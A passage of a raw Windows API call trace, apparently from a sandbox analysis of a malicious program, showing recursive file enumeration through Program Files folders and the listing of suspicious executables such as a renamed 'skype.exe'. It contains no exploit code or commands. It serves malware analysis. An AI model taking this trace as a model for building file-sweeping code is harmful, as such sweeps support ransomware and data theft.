ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x712e, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjet.xsl", cAlternateFileName="")) returned 1 [0245.160] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x851c, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql2000.xsl", cAlternateFileName="")) returned 1 [0245.160] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x7d92, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql70.xsl", cAlternateFileName="")) returned 1 [0245.160] ResetEvent (hEvent=0x118) returned 1 [0245.160] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0245.182] ResetEvent (hEvent=0x118) returned 1 [0245.182] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0245.467] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x9a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql90.xsl", cAlternateFileName="")) returned 1 [0245.467] ResetEvent (hEvent=0x118) returned 1 [0245.467] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0245.472] ResetEvent (hEvent=0x118) returned 1 [0245.472] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0245.477] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 1 [0245.477] ResetEvent (hEvent=0x118) returned 1 [0245.477] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0245.481] ResetEvent (hEvent=0x118) returned 1 [0245.481] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0245.487] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 0 [0245.487] FindClose (in: hFindFile=0x65bd88 | out: hFindFile=0x65bd88) returned 1 [0245.489] GetProcessHeap () returned 0x560000 [0245.489] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b888a8 | out: hHeap=0x560000) returned 1 [0245.490] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3cf6c00, ftCreationTime.dwHighDateTime=0x1ca2caa, ftLastAccessTime.dwLowDateTime=0x5f005150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3cf6c00, ftLastWriteTime.dwHighDateTime=0x1ca2caa, nFileSizeHigh=0x0, nFileSizeLow=0x2a65d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdlocal.dll", cAlternateFileName="MSMDLO~1.DLL")) returned 1 [0245.490] ResetEvent (hEvent=0x118) returned 1 [0245.491] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0245.496] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47fe200, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47fe200, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0xbc4568, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmgdsrv.dll", cAlternateFileName="")) returned 1 [0245.497] ResetEvent (hEvent=0x118) returned 1 [0245.497] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0245.503] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b10f00, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x5f28c8b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b10f00, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0x7c6f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolap100.dll", cAlternateFileName="MSOLAP~1.DLL")) returned 1 [0245.503] ResetEvent (hEvent=0x118) returned 1 [0245.503] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0245.509] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46ad400, ftCreationTime.dwHighDateTime=0x1c8e1fb, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb46ad400, ftLastWriteTime.dwHighDateTime=0x1c8e1fb, nFileSizeHigh=0x0, nFileSizeLow=0x4dc18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.dll", cAlternateFileName="MSOLUI~1.DLL")) returned 1 [0245.510] ResetEvent (hEvent=0x118) returned 1 [0245.510] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0245.514] ResetEvent (hEvent=0x118) returned 1 [0245.514] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0245.520] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0245.520] GetProcessHeap () returned 0x560000 [0245.520] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b888a8 [0245.520] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd88 [0245.520] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.521] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0245.521] GetProcessHeap () returned 0x560000 [0245.521] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bc9a78 [0245.524] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*", lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bdc8 [0245.524] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.524] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9f68100, ftCreationTime.dwHighDateTime=0x1c9b09b, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd9f68100, ftLastWriteTime.dwHighDateTime=0x1c9b09b, nFileSizeHigh=0x0, nFileSizeLow=0xa2b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdsrv.rll", cAlternateFileName="")) returned 1 [0245.524] ResetEvent (hEvent=0x118) returned 1 [0245.525] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0245.650] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 1 [0245.651] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 0 [0245.651] FindClose (in: hFindFile=0x65bdc8 | out: hFindFile=0x65bdc8) returned 1 [0245.651] GetProcessHeap () returned 0x560000 [0245.651] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bc9a78 | out: hHeap=0x560000) returned 1 [0245.651] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0245.651] FindClose (in: hFindFile=0x65bd88 | out: hFindFile=0x65bd88) returned 1 [0245.652] GetProcessHeap () returned 0x560000 [0245.652] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b888a8 | out: hHeap=0x560000) returned 1 [0245.652] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 0 [0245.652] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0245.652] GetProcessHeap () returned 0x560000 [0245.652] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dad70 | out: hHeap=0x560000) returned 1 [0245.655] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 0 [0245.655] FindClose (in: hFindFile=0x65bd48 | out: hFindFile=0x65bd48) returned 1 [0245.656] GetProcessHeap () returned 0x560000 [0245.656] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0245.656] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb1ebe50, ftCreationTime.dwHighDateTime=0x1d59476, ftLastAccessTime.dwLowDateTime=0x5ecc4620, ftLastAccessTime.dwHighDateTime=0x1d5b99c, ftLastWriteTime.dwLowDateTime=0x5ecc4620, ftLastWriteTime.dwHighDateTime=0x1d5b99c, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="latino powers economics.exe", cAlternateFileName="LATINO~1.EXE")) returned 1 [0245.656] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de69d90, ftCreationTime.dwHighDateTime=0x1d5965c, ftLastAccessTime.dwLowDateTime=0x50031160, ftLastAccessTime.dwHighDateTime=0x1d59376, ftLastWriteTime.dwLowDateTime=0x50031160, ftLastWriteTime.dwHighDateTime=0x1d59376, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="skype.exe", cAlternateFileName="")) returned 1 [0245.656] ResetEvent (hEvent=0x118) returned 1 [0245.656] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0245.663] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de69d90, ftCreationTime.dwHighDateTime=0x1d5965c, ftLastAccessTime.dwLowDateTime=0x50031160, ftLastAccessTime.dwHighDateTime=0x1d59376, ftLastWriteTime.dwLowDateTime=0x50031160, ftLastWriteTime.dwHighDateTime=0x1d59376, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="skype.exe", cAlternateFileName="")) returned 0 [0245.663] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0245.664] GetProcessHeap () returned 0x560000 [0245.664] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b64198 | out: hHeap=0x560000) returned 1 [0245.664] FindNextFileW (in: hFindFile=0x599090, lpFindFileData=0x2cff4c0 | out: lpFindFileData=0x2cff4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa2994d10, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa2994d10, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0245.664] GetProcessHeap () returned 0x560000 [0245.664] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b64198 [0245.664] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\*", lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa2994d10, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa2994d10, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0245.667] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa2994d10, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa2994d10, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.667] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0245.667] GetProcessHeap () returned 0x560000 [0245.667] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0245.667] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\*", lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd48 [0245.668] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.668] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB60COR", cAlternateFileName="")) returned 1 [0245.668] GetProcessHeap () returned 0x560000 [0245.668] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dad70 [0245.669] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*", lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0245.959] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.959] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54952c00, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54952c00, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2340, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00004_.GIF", cAlternateFileName="")) returned 1 [0245.960] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83130700, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83130700, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1c30, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00011_.GIF", cAlternateFileName="")) returned 1 [0245.960] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78587200, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78587200, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x3a19, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00021_.GIF", cAlternateFileName="")) returned 1 [0245.960] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64147500, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64147500, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1a1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00037_.GIF", cAlternateFileName="")) returned 1 [0245.961] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47589c00, ftCreationTime.dwHighDateTime=0x1bf325d, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47589c00, ftLastWriteTime.dwHighDateTime=0x1bf325d, nFileSizeHigh=0x0, nFileSizeLow=0xcb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00038_.GIF", cAlternateFileName="")) returned 1 [0245.961] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f4fc100, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f4fc100, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1fa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00040_.GIF", cAlternateFileName="")) returned 1 [0245.961] FindNextFileW (in: hFindFile=0x65bc88, 